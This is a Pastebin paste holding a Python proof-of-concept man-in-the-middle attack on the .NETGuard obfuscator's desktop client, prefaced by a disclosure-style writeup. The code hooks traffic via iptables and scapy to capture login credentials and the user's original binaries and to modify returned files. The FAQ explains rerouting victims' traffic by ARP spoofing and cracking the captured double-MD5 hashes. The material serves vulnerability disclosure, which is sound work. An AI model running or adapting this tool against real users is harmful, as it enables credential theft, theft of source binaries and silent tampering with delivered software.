Advertisement
BaSs_HaXoR

Performing a MITM attack on the .NETGuard desktop app

Feb 4th, 2019
433
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 16.87 KB | None | 0 0
  1. '''
  2. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  3. ^        Title: Performing a MITM attack on the .NETGuard desktop application        ^
  4. ^                   Authors: Washi, 766F6964 (https://rtn-team.cc/)                  ^
  5. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  6. Video: https://www.youtube.com/watch?v=J6Qn9k7NMfg
  7. https://forum.tuts4you.com/topic/40845-performing-a-mitm-attack-on-the-netguard-desktop-application/
  8. _______________
  9. |  Abstract:  |
  10. |_____________|
  11. Code obfuscation is a method of preventing third parties from reverse engineering the inner workings of software.  One cloud-based service that provides this kind of protection for .NET applications is .NETGuard.  .NETGuard distributes a desktop application that interacts with .NETGuard’s API.  In this paper, we show that the protocol used by the desktop application has  several  security  flaws.  The  most  serious  flaws  include  the  possibility  of  leaking  account credentials and/or the original binary being restored from the generated network traffic. Additionally,  the protocol performs no verification on the network traffic,  which allows a Man In the Middle (MITM) attack to modify packets and send malicious content back to the client.
  12. _______________
  13. | Disclaimer: |
  14. |_____________|
  15. The intent of this article is not to determine or conclude whether .NETGuard is a good or a bad obfuscator, nor as a means of attacking the developer personally. Rather, the content of this paper focuses on critical security issues found within the .NETGuard desktop client, and the communication between the desktop client and the .NETGuard servers. The main purpose of this paper is to raise awareness about the security concerns identified and inform .NETGuard's users that their data may be at risk.
  16.  
  17. We  have  communicated  these  security  issues  to  the  .NETGuard  team,  but  they  have  fallen  on deaf ears.  Other than changing the plain-text passwords to a double MD5 hash, no further action was taken.  A month in,  the vulnerabilities are still un-patched,  so we took it upon ourselves to communicate our findings to the community.  Now it is for the public to decide whether or not to continue using this software.
  18.  
  19. ################################################################################################################################################################################################################
  20. ----------------------
  21. - .NETGuard MITM PoC -
  22. ----------------------
  23. This repository contains a proof of concept (PoC) of a man-in-the-middle (MITM) attack that exposes a vulnerability in the versions 2.9.1.0 and 2.9.5.0 of the .NETGuard desktop application, which were released on the 17th and on the 20th of August 2018 respectively on https://netguard.io/.
  24. .NETGuard is a commercial .NET code obfuscator originally based on the open source ConfuserEx obfuscator developed by yck1509. It specializes in making .NET applications unreadable to third parties. This PoC allows for sniffing account credentials of the user, as well as obtaining the original unobfuscated file from the network, and modifying the obfuscated files provided by the server, all unbeknownst to the user and without having to run anything on the client's machine.
  25. ################################################################################################################################################################################################################
  26. -----------------
  27. - Prerequisites -
  28. -----------------
  29. Make sure you have a set-up with at least the following installed:
  30.  
  31. A machine running a Linux distribution containing the iptables application and the libnetfilterqueue library (Preferably the developer version).
  32. Python 3 with the libraries netfilterqueue and scapy. These can both be installed through the pip package manager.
  33. A virtual machine software running a version of Windows that is supported by .NETGuard.
  34.  
  35. ################################################################################################################################################################################################################
  36. --------------
  37. - How to run -
  38. --------------
  39. Simply run the following command in your terminal on the Linux machine as root:
  40. python3 main.py
  41. Typically this would autodetect the settings for you. However, if you need for whatever reason to specify the settings, you can provide some command line arguments:
  42. python3 main.py --ip=192.168.0.1 --queue_num=123 --original-file-name=input.exe --obfuscated-file-name=output.exe
  43. While interacting with the .NETGuard application in the VM (the client), the script will print out status messages upon events such as login and protect requests, and will output binaries in the current folder whenever a file transfer has been made.
  44. To exit the application, use the Ctrl+C keys.
  45. ################################################################################################################################################################################################################
  46. ---------------------
  47. - How does it work? -
  48. ---------------------
  49. The file netguardmitm.py is the backbone of the MITM attack, and uses the iptables application to add two rules (one INPUT and one OUTPUT) to the Linux kernel firewall tables. This allows the script to sniff and modify the TCP traffic going through the machine using the python bindings of the netfilterqueue library. With the help of scapy, we then deserialize the raw packets to an object representation for easier analysis and modification of packets originating from the .NETGuard application and server. From this we can simply observe the HTTP protocol doing its job. Any changes that are made to the sniffed packets will be serialized again to a raw binary stream by the means scapy, which can then be used again by netfilterqueue to update the payload of the incoming/outgoing packet. Finally, the main.py script uses the just described functionality to record (and modify) all login and protect requests and response.
  50. ################################################################################################################################################################################################################
  51. -------------------
  52. -  Demonstration  -
  53. -------------------
  54. FAQ
  55. Q: I am a .NETGuard user, are my credentials and/or code leaked?
  56. A: If you are using the desktop client (not the browser), chances are someone might have sniffed your details and/or code, especially if you have been using (public) WiFi. To be safe, make sure your password is not shared with any other online service or you might risk becoming a victim of identity theft. Unfortunately, there is little we can do about the theft of your code.
  57. Q: Can I use this script to capture and modify traffic from anyone using .NETGuard?
  58. A: This script is a PoC only, and only works if you are able to reroute the traffic through your own machine. However, this can be achieved using various methods such as arpspoofing or configuring your router properly.
  59. Q: How do I obtain the password after sniffing the hash code?
  60. A: There are many publicly available tools to crack the hash within reasonable time. These tools include John the Rippper and HashCat. Make sure that it is configured to crack a double MD5 hashcode (i.e. hash = MD5(MD5(password))).
  61. Q: Can I capture any (un)obfuscated file being transferred from and to the .NETGuard server with this script?
  62. A: Yes, the script is generic enough to be able to capture any binary file being sent or received, so long the traffic goes through the machine running the script.
  63. Q: Can I modify any (un)obfuscated file being transferred from and to the .NETGuard server with this script?
  64. A: Currently, the framework allows it. However, the main.py script is set up to only modify the sample application provided in the repository. A few modifications are therefore required to make it work for other binaries.
  65. Q: After I ran the script I don't have internet anymore. What do I do?
  66. A: The script adds additional firewall rules of your system. Normally the script removes them upon shutdown, but if the script was somehow interrupted before this happened, you might need to manually remove them. You can check for the additional rules by running the following command as root:
  67. iptables -L
  68. To remove the entries, you can use the -D flag instead. E.g. to remove the first rule of the INPUT chain and the first of the OUTPUT chain, use:
  69. iptables -D INPUT 1
  70. iptables -D OUTPUT 1
  71. After that, the connection to the internet should be restored.
  72. ################################################################################################################################################################################################################
  73. '''
  74. from netfilterqueue import NetfilterQueue
  75. import socket
  76. from os import system
  77.  
  78. import scapy.all as scapy
  79. import scapy_http.http
  80. from urllib.parse import urlparse, parse_qs
  81.  
  82. REQUEST_LOGIN = 0
  83. REQUEST_PROTECT = 1
  84.  
  85.  
  86. class NetGuardMITM:
  87.  
  88.     def __init__(self, ip, queue_number=1):
  89.         self.ip = ip
  90.         self.queue_number = queue_number
  91.         self.log_callback = None
  92.         self.netguard_server_ip = None
  93.         self.login_request_callback = None
  94.         self.protect_request_callback = None
  95.         self.login_response_callback = None
  96.         self.protect_response_callback = None
  97.         self.file_upload_packet_callback = None
  98.         self.file_download_packet_callback = None
  99.         self.file_transfer_in_progress = False
  100.         self.file_transfer_bytes_remaining = 0
  101.         self.__last_request = None
  102.  
  103.     def log(self, message):
  104.         if self.log_callback:
  105.             self.log_callback(message)
  106.  
  107.     def packet_callback(self, raw_packet):
  108.         """
  109.        Main call back of sent and received packets.
  110.        :param raw_packet: The packet that is being sent/received.
  111.        """
  112.         packet = scapy.IP(raw_packet.get_payload())
  113.  
  114.         accept = True
  115.  
  116.         if packet.haslayer("HTTP"):
  117.             tcp_layer = packet.getlayer("TCP")
  118.             http_layer = packet.getlayer("HTTP")
  119.  
  120.             if packet.haslayer("Raw") and self.file_transfer_in_progress:
  121.                 if packet.dst == self.netguard_server_ip:
  122.                     accept = self.handle_file_upload_packet(raw_packet, packet)
  123.                 elif packet.src == self.netguard_server_ip:
  124.                     accept = self.handle_file_download_packet(raw_packet, packet)
  125.                 else:
  126.                     accept = True
  127.             if "HTTP Request" in http_layer:
  128.                 accept = self.handle_request(raw_packet, packet)
  129.             elif "HTTP Response" in http_layer:
  130.                 accept = self.handle_response(raw_packet, packet)
  131.  
  132.         if accept:
  133.             raw_packet.accept()
  134.         else:
  135.             raw_packet.drop()
  136.  
  137.     def handle_request(self, raw_packet, packet):
  138.         """
  139.        Handles HTTP requests sent towards netguard.io. All other requests are ignored and therefore accepted.
  140.        :param raw_packet: The raw packet as obtained by NetfilterQueue
  141.        :param packet: The scapy representation of the HTTP packet.
  142.        :return True if the packet should be accepted, False otherwise.
  143.        """
  144.         accept = True
  145.  
  146.         http_layer = packet.getlayer("HTTP")
  147.         request = http_layer["HTTP Request"]
  148.         if request.Host != b"netguard.io":
  149.             return accept
  150.  
  151.         # Record the (current) netguard.io IP.
  152.         self.netguard_server_ip = packet.dst
  153.  
  154.         # Parse URL.
  155.         o = urlparse(request.Path)
  156.         arguments = parse_qs(o.query)
  157.  
  158.         # Check which API call is being made and invoke corresponding callback.
  159.         if request.Method == b"GET":
  160.             if o.path == b"/API/login.php" and self.login_request_callback:
  161.                 self.__last_request = REQUEST_LOGIN
  162.                 accept = self.login_request_callback(raw_packet, packet, arguments[b"username"], arguments[b"password"])
  163.  
  164.         elif request.Method == b"POST":
  165.             if o.path == b"/API/protect.php":
  166.                 if self.protect_request_callback:
  167.                     accept = self.protect_request_callback(raw_packet, packet, arguments[b"username"], arguments[b"password"])
  168.                 self.__last_request = REQUEST_PROTECT
  169.                 self.file_transfer_in_progress = True
  170.                 self.file_transfer_bytes_remaining = int(request.fields["Content-Length"])
  171.  
  172.         return accept
  173.  
  174.     def handle_response(self, raw_packet, packet):
  175.         """
  176.        Handles a single HTTP response from netguard.io. All other responses are ignored and therefore accepted.
  177.        :param raw_packet: The raw packet as obtained by NetfilterQueue.
  178.        :param packet: The scapy representation of the HTTP packet.
  179.        :return: True if the packet should be accepted, False otherwise.
  180.        """
  181.         accept = True
  182.         if packet.src != self.netguard_server_ip:
  183.             return accept
  184.  
  185.         http_layer = packet.getlayer("HTTP")
  186.         response = http_layer["HTTP Response"]
  187.         body = packet.getlayer("Raw")
  188.  
  189.         # NOTE: We assume that the response comes directly after the request.
  190.         # This might not be accurate, as packets can be reordered during the transmission.
  191.         # For more reliable results, check sequence numbers of packets.
  192.  
  193.         # Check what kind of response we're dealing with.
  194.         if self.__last_request == REQUEST_LOGIN and self.login_response_callback:
  195.             accept = self.login_response_callback(raw_packet, packet, body)
  196.             self.__last_request = None
  197.         elif self.__last_request == REQUEST_PROTECT:
  198.             if self.protect_response_callback:
  199.                 accept = self.protect_response_callback(raw_packet, packet, body)
  200.  
  201.             if "Content-Length" in response.fields:
  202.                 self.file_transfer_in_progress = True
  203.                 self.file_transfer_bytes_remaining = int(response.fields["Content-Length"])
  204.                 self.handle_file_download_packet(raw_packet, packet)
  205.                 self.__last_request = None
  206.  
  207.         return accept
  208.  
  209.     def handle_file_upload_packet(self, raw_packet, packet):
  210.         """
  211.        Handles a single HTTP packet containing (a chunk of) the file to be uploaded to netguard.io.
  212.        :param raw_packet: The raw packet as obtained by NetfilterQueue.
  213.        :param packet: The scapy representation of the HTTP packet.
  214.        :return: True if the packet should be accepted, False otherwise.
  215.        """
  216.         accept = True
  217.  
  218.         raw_layer = packet.getlayer("Raw")
  219.         self.file_transfer_bytes_remaining -= len(raw_layer.load)
  220.         if self.file_upload_packet_callback:
  221.             accept = self.file_upload_packet_callback(raw_packet, packet, raw_layer.load, self.file_transfer_bytes_remaining)
  222.  
  223.         self.file_transfer_in_progress = self.file_transfer_bytes_remaining > 0
  224.         return accept
  225.  
  226.     def handle_file_download_packet(self, raw_packet, packet):
  227.         """
  228.        Handles a single HTTP packet containing (a chunk of) the protected file that is being downloaded from
  229.        the netguard.io server.
  230.        :param raw_packet: The raw packet as obtained by NetfilterQueue.
  231.        :param packet: THe scapy representation of the HTTP packet.
  232.        :return: True if the packet should be accepted, False otherwise.
  233.        """
  234.         accept = True
  235.  
  236.         raw_layer = packet.getlayer("Raw")
  237.         self.file_transfer_bytes_remaining -= len(raw_layer.load)
  238.         if self.file_download_packet_callback:
  239.             accept = self.file_download_packet_callback(raw_packet, packet, raw_layer.load, self.file_transfer_bytes_remaining)
  240.  
  241.         self.file_transfer_in_progress = self.file_transfer_bytes_remaining > 0
  242.         return accept
  243.  
  244.     def do_mitm(self):
  245.         """
  246.        Performs the man-in-the-middle attack. This function is blocking.
  247.        """
  248.  
  249.         try:
  250.             # Add necessary IP table entries.
  251.             self.log("Updating IP tables...")
  252.             system("iptables -A INPUT -d {} -p tcp -j NFQUEUE --queue-num {}".format(self.ip, self.queue_number))
  253.             system("iptables -A OUTPUT -s {} -p tcp -j NFQUEUE --queue-num {}".format(self.ip, self.queue_number))
  254.  
  255.             # Bind to filter queue.
  256.             nfqueue = NetfilterQueue()
  257.             nfqueue.bind(self.queue_number, self.packet_callback)
  258.             s = socket.fromfd(nfqueue.get_fd(), socket.AF_UNIX, socket.SOCK_STREAM)
  259.  
  260.             try:
  261.                 self.log("Running MITM...")
  262.                 nfqueue.run_socket(s)
  263.             except KeyboardInterrupt:
  264.                 pass
  265.  
  266.                 self.log("Closing sockets...")
  267.             s.close()
  268.             nfqueue.unbind()
  269.  
  270.         finally:
  271.             # Remove IP table entries.
  272.             self.log("Restoring IP tables.")
  273.             system("iptables -D INPUT 1")
  274.             system("iptables -D OUTPUT 1")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement